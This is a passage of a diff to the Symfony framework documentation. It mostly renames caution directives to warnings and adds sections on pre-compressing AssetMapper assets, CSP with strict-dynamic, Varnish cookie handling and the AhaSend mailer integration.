diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 709f3321544..0d92a967fa0 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -449,7 +449,7 @@ are some examples of Twig block names for the postal address type:
 ``postal_address_zipCode_label``
     The label block of the ZIP Code field.
 
-.. caution::
+.. warning::
 
     When the name of your form class matches any of the built-in field types,
     your form might not be rendered correctly. A form type named
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index cb5c7936701..38c92ce35ae 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -126,7 +126,7 @@ in your form type::
         }
     }
 
-.. caution::
+.. warning::
 
     The data passed to the mapper is *not yet validated*. This means that your
     objects should allow being created in an invalid state in order to produce
@@ -215,7 +215,7 @@ If available, these options have priority over the property path accessor and
 the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>`
 for the other form fields.
 
-.. caution::
+.. warning::
 
     When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and
     lets its parent map inner values.
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4e81fc3e930..db051a04bbc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,7 +8,7 @@ can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data
 converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string
 when rendering the form, and then back to a ``DateTime`` object on submit.
 
-.. caution::
+.. warning::
 
     When a form field has the ``inherit_data`` option set to ``true``, data transformers
     are not applied to that field.
@@ -340,7 +340,7 @@ that, after a successful submission, the Form component will pass a real
 If the issue isn't found, a form error will be created for that field and
 its error message can be controlled with the ``invalid_message`` field option.
 
-.. caution::
+.. warning::
 
     Be careful when adding your transformers. For example, the following is **wrong**,
     as the transformer would be applied to the entire form, instead of just this
@@ -472,7 +472,7 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
-.. caution::
+.. warning::
 
     Be careful with model transformers and
     :doc:`Collection </reference/forms/types/collection>` field types.
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 7b98134af18..7a08fb6978a 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -65,7 +65,7 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
     argument to ``submit()``. Passing ``false`` will remove any missing fields
     within the form object. Otherwise, the missing fields will be set to ``null``.
 
-.. caution::
+.. warning::
 
     When the second parameter ``$clearMissing`` is ``false``, like with the
     "PATCH" method, the validation will only apply to the submitted fields. If
diff --git a/form/events.rst b/form/events.rst
index 745df2df453..dad6c242ddd 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -192,7 +192,7 @@ Form view data        Same as in ``FormEvents::POST_SET_DATA``
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the form.
 
@@ -225,7 +225,7 @@ Form view data        Normalized data transformed using a view transformer
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the current form and its
     children.
diff --git a/form/form_collections.rst b/form/form_collections.rst
index f0ad76a8a61..2a0ba99657f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -195,7 +195,7 @@ then set on the ``tag`` field of the ``Task`` and can be accessed via ``$task->g
 So far, this works great, but only to edit *existing* tags. It doesn't allow us
 yet to add new tags or delete existing ones.
 
-.. caution::
+.. warning::
 
     You can embed nested collections as many levels down as you like. However,
     if you use Xdebug, you may receive a ``Maximum function nesting level of '100'
@@ -427,13 +427,13 @@ That was fine, but forcing the use of the "adder" method makes handling
 these new ``Tag`` objects easier (especially if you're using Doctrine, which
 you will learn about next!).
 
-.. caution::
+.. warning::
 
     You have to create **both** ``addTag()`` and ``removeTag()`` methods,
     otherwise the form will still use ``setTag()`` even if ``by_reference`` is ``false``.
     You'll learn more about the ``removeTag()`` method later in this article.
 
-.. caution::
+.. warning::
 
     Symfony can only make the plural-to-singular conversion (e.g. from the
     ``tags`` property to the ``addTag()`` method) for English words. Code
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3f3cd0bbc89..1c23601a883 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -74,7 +74,7 @@ control over how each form field is rendered, so you can fully customize them:
         </div>
     </div>
 
-.. caution::
+.. warning::
 
    If you're rendering each field manually, make sure you don't forget the
    ``_token`` field that is automatically added for CSRF protection.
@@ -305,7 +305,7 @@ Renders any errors for the given field.
     {# render any "global" errors not associated to any form field #}
     {{ form_errors(form) }}
 
-.. caution::
+.. warning::
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included in
     ``form_label()``. Read more about this in the
diff --git a/form/form_themes.rst b/form/form_themes.rst
index eb6f6f2ae22..8b82982edaa 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -177,7 +177,7 @@ of form themes:
 
     {# ... #}
 
-.. caution::
+.. warning::
 
     When using the ``only`` keyword, none of Symfony's built-in form themes
     (``form_div_layout.html.twig``, etc.) will be applied. In order to render
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 19b14b27bcd..2caa0afcdbe 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -165,6 +165,6 @@ Finally, make this work by adding the location form to your two original forms::
 That's it! You have extracted duplicated field definitions to a separate
 location form that you can reuse wherever you need it.
 
-.. caution::
+.. warning::
 
     Forms with the ``inherit_data`` option set cannot have ``*_SET_DATA`` event listeners.
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 111f1b77986..106eb4e7742 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -162,7 +162,7 @@ instance with the value of the option. This constructor has 2 arguments:
 ``null`` is guessed when you believe the value of the option should not be
 set.
 
-.. caution::
+.. warning::
 
     You should be very careful using the ``guessMaxLength()`` method. When the
     type is a float, you cannot determine a length (e.g. you want a float to be
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index bf57e6d1afc..9603c5bc0d2 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -1,7 +1,7 @@
 How to Unit Test your Forms
 ===========================
 
-.. caution::
+.. warning::
 
     This article is intended for developers who create
     :doc:`custom form types </form/create_custom_field_type>`. If you are using
@@ -121,7 +121,7 @@ variable exists and will be available in your form themes::
     Use `PHPUnit data providers`_ to test multiple form conditions using
     the same test code.
 
-.. caution::
+.. warning::
 
     When your type relies on the ``EntityType``, you should register the
     :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmExtension`, which will
@@ -214,7 +214,7 @@ allows you to return a list of extensions to register::
         {
             $validator = Validation::createValidator();
 
-            // or if you also need to read constraints from annotations
+            // or if you also need to read constraints from attributes
             $validator = Validation::createValidatorBuilder()
                 ->enableAttributeMapping()
                 ->getValidator();
diff --git a/form/without_class.rst b/form/without_class.rst
index 589f8a4739e..436976bdfcc 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -121,7 +121,7 @@ but here's a short example::
     submitted data is validated using the ``Symfony\Component\Validator\Constraints\Valid``
     constraint, unless you :doc:`disable validation </form/disabling_validation>`.
 
-.. caution::
+.. warning::
 
     When a form is only partially submitted (for example, in an HTTP PATCH
     request), only the constraints from the submitted form fields will be
diff --git a/forms.rst b/forms.rst
index a90e4ee1772..008c60a66c6 100644
--- a/forms.rst
+++ b/forms.rst
@@ -869,7 +869,7 @@ pass ``null`` to it::
         }
     }
 
-.. caution::
+.. warning::
 
     When using a specific :doc:`form validation group </form/validation_groups>`,
     the field type guesser will still consider *all* validation constraints when
diff --git a/frontend.rst b/frontend.rst
index f498dc737b5..c28e6fcf222 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -61,6 +61,10 @@ be executed by a browser.
 AssetMapper (Recommended)
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `AssetMapper screencast series`_.
+
 AssetMapper is the recommended system for handling your assets. It runs entirely
 in PHP with no complex build step or dependencies. It does this by leveraging
 the ``importmap`` feature of your browser, which is available in all browsers thanks
@@ -118,6 +122,10 @@ the `StimulusBundle Documentation`_
 Using a Front-end Framework (React, Vue, Svelte, etc)
 -----------------------------------------------------
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `API Platform screencast series`_.
+
 If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc),
 we recommend using their native tools and using Symfony as a pure API. A wonderful
 tool to do that is `API Platform`_. Their standard distribution comes with a
@@ -143,3 +151,5 @@ Other Front-End Articles
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper
+.. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 685474e66d3..d68c77c0105 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -12,7 +12,7 @@ The component has two main features:
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
   are made available publicly and **versioned**. You can reference the file
   ``assets/images/product.jpg`` in a Twig template with ``{{ asset('images/product.jpg') }}``.
-  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpg``.
+  The final URL will include a version hash, like ``/assets/images/product-3c16d92m.jpg``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
@@ -70,7 +70,7 @@ The path - ``images/duck.png`` - is relative to your mapped directory (``assets/
 This is known as the **logical path** to your asset.
 
 If you look at the HTML in your page, the URL will be something
-like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
+like: ``/assets/images/duck-3c16d92m.png``. If you change
 the file, the version part of the URL will also change automatically.
 
 .. _asset-mapper-compile-assets:
@@ -78,7 +78,7 @@ the file, the version part of the URL will also change automatically.
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
+In the ``dev`` environment, the URL ``/assets/images/duck-3c16d92m.png``
 is handled and returned by your Symfony app.
 
 For the ``prod`` environment, before deploy, you should run:
@@ -91,7 +91,7 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
-.. caution::
+.. warning::
 
     If you run the ``asset-map:compile`` command on your development machine,
     you won't see any changes made to your assets when reloading the page.
@@ -283,9 +283,9 @@ outputs an `importmap`_:
 
     <script type="importmap">{
         "imports": {
-            "app": "/assets/app-4e986c1a2318dd050b1d47db8d856278.js",
-            "/assets/duck.js": "/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js",
-            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f0935445d9c6022100863214b519a1f2.js"
+            "app": "/assets/app-4e986c1a.js",
+            "/assets/duck.js": "/assets/duck-1b7a64b3.js",
+            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f093544d.js"
         }
     }</script>
 
@@ -342,8 +342,8 @@ The ``importmap()`` function also outputs a set of "preloads":
 
 .. code-block:: html
 
-    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
-    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+    <link rel="modulepreload" href="/assets/app-4e986c1a.js">
+    <link rel="modulepreload" href="/assets/duck-1b7a64b3.js">
 
 This is a performance optimization and you can learn more about below
 in :ref:`Performance: Add Preloading <performance-preloading>`.
@@ -415,6 +415,8 @@ from inside ``app.js``:
     // things on "window" become global variables
     window.$ = $;
 
+.. _asset-mapper-handling-css:
+
 Handling CSS
 ------------
 
@@ -492,9 +494,9 @@ for ``duck.png``:
 
 .. code-block:: css
 
-    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
+    /* public/assets/styles/app-3c16d92m.css */
     .quack {
-        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
+        background-image: url('../images/duck-3c16d92m.png');
     }
 
 .. _asset-mapper-tailwind:
@@ -571,7 +573,7 @@ Sometimes a JavaScript file you're importing (e.g. ``import './duck.js'``),
 or a CSS/image file you're referencing won't be found, and you'll see a 404
 error in your browser's console. You'll also notice that the 404 URL is missing
 the version hash in the filename (e.g. a 404 to ``/assets/duck.js`` instead of
-a path like ``/assets/duck.1b7a64b3b3d31219c262cf72521a5267.js``).
+a path like ``/assets/duck-1b7a64b3.js``).
 
 This is usually because the path is wrong. If you're referencing the file
 directly in a Twig template:
@@ -646,7 +648,7 @@ To make your AssetMapper-powered site fly, there are a few things you need to
 do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
 which will automatically do most of these things for you:
 
-- **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
+- **Use HTTP/2**: Your web server should be running HTTP/2 or HTTP/3 so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
   and can be activated in Nginx and Apache. Or, proxy your site through a
   service like Cloudflare, which will automatically enable HTTP/2 for you.
@@ -654,7 +656,9 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default.
+  In Cloudflare, assets are compressed by default. AssetMapper also supports
+  :ref:`precompressing your web assets <performance-precompressing>` to further
+  improve performance.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
@@ -702,6 +706,76 @@ even though it hasn't yet seen the ``import`` statement for them.
 Additionally, if the :doc:`WebLink Component </web_link>` is available in your application,
 Symfony will add a ``Link`` header in the response to preload the CSS files.
 
+.. _performance-precompressing:
+
+Pre-Compressing Assets
+----------------------
+
+Although most servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
+provide asset compression features, AssetMapper also allows you to compress all
+your assets before serving them.
+
+This improves performance because you can compress assets using the highest (and
+slowest) compression ratios beforehand and provide those compressed assets to the
+server, which then returns them to the client without wasting CPU resources on
+compression.
+
+AssetMapper supports  `Brotli`_, `Zstandard`_ and  `gzip`_ compression formats.
+Before using any of them, the server that pre-compresses assets must have
+installed the following PHP extensions or CLI commands:
+
+* Brotli: ``brotli`` CLI command; `brotli PHP extension`_;
+* Zstandard: ``zstd`` CLI command; `zstd PHP extension`_;
+* gzip: ``zopfli`` (better) or ``gzip`` CLI command; `zlib PHP extension`_.
+
+Then, update your AssetMapper configuration to define which compression to use
+and which file extensions should be compressed:
+
+.. code-block:: yaml
+
+    # config/packages/asset_mapper.yaml
+    framework:
+        asset_mapper:
+            # ...
+
+            precompress:
+                format: 'zstandard'
+                # if you don't define the following option, AssetMapper will compress all
+                # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.)
+                extensions: ['css', 'js', 'json', 'svg', 'xml']
+
+Now, when running the ``asset-map:compile`` command, all matching files will be
+compressed in the configured format and at the highest compression level. The
+compressed files are created with the same name as the original but with the
+``.br``, ``.zst``, or ``.gz`` extension appended.
+
+Then, you need to configure your web server to serve the precompressed assets
+instead of the original ones:
+
+.. configuration-block::
+
+    .. code-block:: caddy
+
+        file_server {
+            precompressed br zstd gzip
+        }
+
+    .. code-block:: nginx
+
+        gzip_static on;
+
+        # Requires https://github.com/google/ngx_brotli
+        brotli_static on;
+
+        # Requires https://github.com/tokers/zstd-nginx-module
+        zstd_static on;
+
+.. tip::
+
+    AssetMapper provides an ``assets:compress`` CLI command and a service called
+    ``asset_mapper.compressor`` that you can use anywhere in your application to
+    compress any kind of files (e.g. files uploaded by users to your application).
+
 Frequently Asked Questions
 --------------------------
 
@@ -846,7 +920,7 @@ be versioned! It will output something like:
 
 .. code-block:: html+twig
 
-    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c55f8394e696554f8aeb81a8e.css">
+    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c.css">
 
 Overriding 3rd-Party Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1093,6 +1167,24 @@ it in the CSP header, and then pass the same nonce to the Twig function:
     {# the csp_nonce() function is defined by the NelmioSecurityBundle #}
     {{ importmap('app', {'nonce': csp_nonce('script')}) }}
 
+Content Security Policy and CSS Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your importmap includes CSS files, AssetMapper uses a trick to load those by
+adding ``data:application/javascript`` to the rendered importmap (see
+:ref:`Handling CSS <asset-mapper-handling-css>`).
+
+This can cause browsers to report CSP violations and block the CSS files from
+being loaded. To prevent this, you can add `strict-dynamic`_ to the ``script-src``
+directive of your Content Security Policy, to tell the browser that the importmap
+is allowed to load other resources.
+
+.. note::
+
+    When using ``strict-dynamic``, the browser will ignore any other sources in
+    ``script-src`` such as ``'self'`` or ``'unsafe-inline'``, so any other
+    ``<script>`` tags will also need to be trusted via a nonce.
+
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
 
@@ -1172,5 +1264,12 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
 .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
 .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
+.. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic
 .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`Brotli`: https://en.wikipedia.org/wiki/Brotli
+.. _`Zstandard`: https://en.wikipedia.org/wiki/Zstd
+.. _`gzip`: https://en.wikipedia.org/wiki/Gzip
+.. _`brotli PHP extension`: https://pecl.php.net/package/brotli
+.. _`zstd PHP extension`: https://pecl.php.net/package/zstd
+.. _`zlib PHP extension`: https://www.php.net/manual/en/book.zlib.php
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index f98ac8b75a0..2ddff9de345 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -200,7 +200,7 @@ You'll customize and learn more about these files in :doc:`/frontend/encore/simp
 When you execute Encore, it will ask you to install a few more dependencies based
 on which features of Encore you have enabled.
 
-.. caution::
+.. warning::
 
     Some of the documentation will use features that are specific to Symfony or
     Symfony's `WebpackEncoreBundle`_. These are optional, and are special ways
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d790611b511..1c6c6b05c08 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -82,7 +82,7 @@ in your ``package.json`` file.
     in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>`
     documentation.
 
-.. caution::
+.. warning::
 
     Whenever you make changes in your ``webpack.config.js`` file, you must
     stop and restart ``encore``.
@@ -434,7 +434,7 @@ Your app now supports Sass. Encore also supports LESS and Stylus. See
 Compiling Only a CSS File
 -------------------------
 
-.. caution::
+.. warning::
 
     Using ``addStyleEntry()`` is supported, but not recommended. A better option
     is to follow the pattern above: use ``addEntry()`` to point to a JavaScript
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index c24d2b3670b..d18026d3633 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -87,7 +87,7 @@ connections:
           }
       }
 
-.. caution::
+.. danger::
 
     Make sure to run the development server inside your virtual machine only;
     otherwise other computers can have access to it.
@@ -110,7 +110,7 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
             options.allowedHosts = all;
         })
 
-.. caution::
+.. warning::
 
     Beware that `it's not recommended to set allowedHosts to all`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4d5e07acc61..394c79aed42 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -14,7 +14,7 @@ cache lifetimes, but to actively notify the gateway cache when content
 changes. Reverse proxies usually provide a channel to receive such
 notifications, typically through special HTTP requests.
 
-.. caution::
+.. warning::
 
     While cache invalidation is powerful, avoid it when possible. If you fail
     to invalidate something, outdated caches will be served for a potentially
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 52a09fb16a7..588cad424cd 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -259,7 +259,7 @@ One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
 possible.
 
-.. caution::
+.. warning::
 
     The fragment listener only responds to signed requests. Requests are only
     signed when using the fragment renderer and the ``render_esi`` Twig
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 3c1fa6d5346..a9bb668c100 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -44,6 +44,12 @@ header. In this case, you need to add the following configuration snippet:
         }
     }
 
+.. note::
+
+    Forcing HTTPS while using a reverse proxy or load balancer requires a proper
+    configuration to avoid infinite redirect loops; see :doc:`/deployment/proxies`
+    for more details.
+
 Cookies and Caching
 -------------------
 
@@ -61,24 +67,29 @@ at least for some parts of the site, e.g. when using forms with
 and clear the session when it is no longer needed. Alternatively, you can look
 into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`.
 
-Cookies created in JavaScript and used only in the frontend, e.g. when using
-Google Analytics, are nonetheless sent to the server. These cookies are not
-relevant for the backend and should not affect the caching decision. Configure
-your Varnish cache to `clean the cookies header`_. You want to keep the
-session cookie, if there is one, and get rid of all other cookies so that pages
-are cached if there is no active session. Unless you changed the default
-configuration of PHP, your session cookie has the name ``PHPSESSID``:
+Cookies created in JavaScript and used only on the frontend, such as those from
+Google Analytics, are still sent to the server. These cookies are not relevant
+for backend processing and should not influence the caching logic. To ensure
+this, configure your Varnish cache to `clean the cookies header`_ by retaining
+only essential cookies (e.g., session cookies) and removing all others. This
+allows pages to be cached when there is no active session.
+
+If you are using PHP with its default configuration, the session cookie is
+typically named ``PHPSESSID``. Additionally, if your application depends on other
+critical cookies, such as a ``REMEMBERME`` cookie for :doc:`remember me </security/remember_me>`
+functionality or a trusted device cookie for two-factor authentication, these
+cookies should also be preserved.
 
 .. configuration-block::
 
     .. code-block:: varnish4
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
@@ -92,11 +103,11 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``:
     .. code-block:: varnish3
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
diff --git a/http_client.rst b/http_client.rst
index bf64026b946..30379f9a3b3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1064,7 +1064,7 @@ To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 Chunked transfer encoding is enabled automatically if both your PHP runtime and
 the remote server support it.
 
-.. caution::
+.. warning::
 
     If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the
     decompression yourself.
@@ -2332,15 +2332,15 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame('POST', $mockResponse->getRequestMethod());
-            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
-            self::assertContains(
+            $this->assertSame('POST', $mockResponse->getRequestMethod());
+            $this->assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            $this->assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']
             );
-            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+            $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
 
-            self::assertSame($responseData, $expectedResponseData);
+            $this->assertSame($expectedResponseData, $responseData);
         }
     }
 
@@ -2355,11 +2355,11 @@ First, use a browser or HTTP client to perform the HTTP request(s) you want to
 test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
-    use PHPUnit\Framework\TestCase;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
-    final class ExternalArticleServiceTest extends TestCase
+    final class ExternalArticleServiceTest extends KernelTestCase
     {
         public function testSubmitData(): void
         {
@@ -2373,7 +2373,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame($responseData, 'the expected response');
+            $this->assertSame('the expected response', $responseData);
         }
     }
 
diff --git a/lock.rst b/lock.rst
index d70f1d5535b..82ec48db572 100644
--- a/lock.rst
+++ b/lock.rst
@@ -189,7 +189,7 @@ To lock the default resource, autowire the lock factory using
         }
     }
 
-.. caution::
+.. warning::
 
     The same instance of ``LockInterface`` won't block when calling ``acquire``
     multiple times inside the same process. When several services use the
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 9ad3a2f054c..3cac1d01ba5 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -95,7 +95,7 @@ from the ``security`` channel. The following example does that only in the
             }
         };
 
-.. caution::
+.. warning::
 
     The ``channels`` configuration only works for top-level handlers. Handlers
     that are nested inside a group, buffer, filter, fingers crossed or other
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 810abdd5b9f..ee9fb16c01c 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -57,7 +57,7 @@ logging these HTTP codes based on the MonologBundle configuration:
             $mainHandler->excludedHttpCode()->code(404);
         };
 
-.. caution::
+.. warning::
 
     Combining ``excluded_http_codes`` with a ``passthru_level`` lower than
     ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
diff --git a/mailer.rst b/mailer.rst
index d2136839ad0..e5d646d5aa2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -61,7 +61,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             $framework->mailer()->dsn(env('MAILER_DSN'));
         };
 
-.. caution::
+.. warning::
 
     If the username, password or host contain any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -82,7 +82,7 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
 ============  ========================================  ==============================================================
 
-.. caution::
+.. warning::
 
     When using ``native://default``, if ``php.ini`` uses the ``sendmail -t``
     command, you won't have error reporting and ``Bcc`` headers won't be removed.
@@ -100,6 +100,7 @@ via a third-party provider:
 ===================== =============================================== ===============
 Service               Install with                                    Webhook support
 ===================== =============================================== ===============
+`AhaSend`_            ``composer require symfony/aha-send-mailer``    yes
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
 `Azure`_              ``composer require symfony/azure-mailer``
 `Brevo`_              ``composer require symfony/brevo-mailer``       yes
@@ -108,7 +109,7 @@ Service               Install with                                    Webhook su
 `Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
 `Mailomat`_           ``composer require symfony/mailomat-mailer``    yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
-`MailerSend`_         ``composer require symfony/mailer-send-mailer``
+`MailerSend`_         ``composer require symfony/mailer-send-mailer`` yes
 `Mailtrap`_           ``composer require symfony/mailtrap-mailer``    yes
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``   yes
 `Postal`_             ``composer require symfony/postal-mailer``
@@ -127,6 +128,10 @@ Service               Install with                                    Webhook su
 
     The Mailomat, Mailtrap, Postal and Sweego integrations were introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    The AhaSend integration was introduced in Symfony 7.3.
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -175,6 +180,10 @@ party provider:
 +------------------------+---------------------------------------------------------+
 | Provider               | Formats                                                 |
 +========================+=========================================================+
+| `AhaSend`_             | - API ``ahasend+api://KEY@default``                     |
+|                        | - HTTP n/a                                              |
+|                        | - SMTP ``ahasend+smtp://USERNAME:PASSWORD@default``     |
